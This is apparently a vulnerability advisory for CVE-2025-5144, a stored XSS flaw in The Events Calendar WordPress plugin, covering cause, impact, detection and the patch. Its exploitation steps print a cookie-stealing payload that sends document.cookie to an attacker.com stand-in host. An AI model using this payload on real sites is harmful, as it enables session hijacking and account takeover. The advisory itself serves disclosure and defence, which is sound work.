CVE-2025-5144: 
WordPress vulnerability analysis and mitigation

CVE-2025-5144 is a Stored Cross-Site Scripting (XSS) vulnerability in The Events Calendar plugin for WordPress, developed by StellarWP. It affects all versions up to and including 6.13.2, stemming from insufficient input sanitization and output escaping of the data-date-* parameters used by the bundled bootstrap-datepicker library. Authenticated attackers with Contributor-level access or above can inject arbitrary web scripts into pages that execute when any user visits the affected page. The vulnerability was published on June 11, 2025, and carries a CVSS v3.1 base score of 5.4 (Medium) (Wordfence, Red Hat CVE).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically in how the plugin processes data-date-* HTML attributes passed to the bundled bootstrap-datepicker component. The bootstrap-datepicker library reads configuration options directly from data-* attributes on DOM elements without adequate sanitization, allowing an attacker to embed malicious JavaScript payloads in these attributes when creating or editing event content. Because the plugin fails to escape these values on output, the injected script is stored in the database and rendered to all subsequent page visitors. The attack vector is network-based, requires low privileges (Contributor role), and requires user interaction (a victim must load the injected page) (Wordfence, bootstrap-datepicker source).

Successful exploitation allows an authenticated attacker with Contributor-level access to persistently inject malicious scripts that execute in the browsers of any user — including administrators — who visits the compromised page. This can result in session cookie theft, credential harvesting, account takeover, unauthorized content manipulation, and targeted phishing attacks against site visitors or administrators. The changed scope (S:C in CVSS) indicates the impact extends beyond the plugin itself to the broader WordPress site and its users (Wordfence, Red Hat CVE).

As of the time of disclosure, there is no public proof-of-concept exploit and no evidence of active in-the-wild exploitation (Wordfence). The EPSS score is approximately 0.036%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires an authenticated account with at least Contributor-level access, which limits the attack surface compared to unauthenticated vulnerabilities.

1. Reconnaissance: Identify WordPress sites running The Events Calendar plugin version 6.13.2 or earlier using tools like WPScan or by inspecting plugin metadata in publicly accessible readme files.
2. Obtain Contributor access: Register or compromise a Contributor-level (or higher) account on the target WordPress site.
3. Create or edit an event: Navigate to the event creation/editing interface provided by The Events Calendar plugin.
4. Inject malicious payload: Insert a crafted XSS payload into a data-date-* attribute field (e.g., data-date-startdate or similar datepicker-related fields), such as: "><img src=x onerror=document.location='https://attacker.com/steal?c='+document.cookie>.
5. Publish the event: Save or publish the event, causing the malicious payload to be stored in the WordPress database.
6. Trigger execution: When any user (including administrators) visits the event page, the injected script executes in their browser, enabling session hijacking, credential theft, or further attacks (Wordfence).

• Logs: WordPress access logs showing POST requests to event creation/editing endpoints (/wp-admin/post.php or REST API equivalents) from Contributor-level accounts containing data-date- parameters with script tags or encoded JavaScript payloads.
• Database: Unexpected <script>, onerror, javascript:, or encoded XSS strings stored in the wp_posts or wp_postmeta tables associated with event content.
• Network: Outbound requests from victim browsers to unknown external domains shortly after visiting event pages, potentially carrying cookie or session data in query parameters.
• File System: No direct file system artifacts expected for stored XSS, but review plugin files for unauthorized modifications to bootstrap-datepicker.min.js or related templates.

The vulnerability is patched in The Events Calendar version 6.13.2.1, released via the WordPress plugin repository (WordPress Trac). Site administrators should update the plugin immediately to this version or later. As interim mitigations, restrict Contributor-level account creation and permissions, implement a Web Application Firewall (WAF) with XSS detection rules, and audit existing event content for suspicious data-date-* attribute values. Content Security Policy (CSP) headers can also reduce the impact of any successful XSS injection.

Wordfence, which discovered and reported the vulnerability, published it in their weekly WordPress vulnerability report for the week of June 9–15, 2025 (Wordfence Blog). The vulnerability was noted on social media platforms including Mastodon by security aggregators such as RedPacketSecurity. Coverage was largely routine, consistent with the medium severity rating and lack of active exploitation.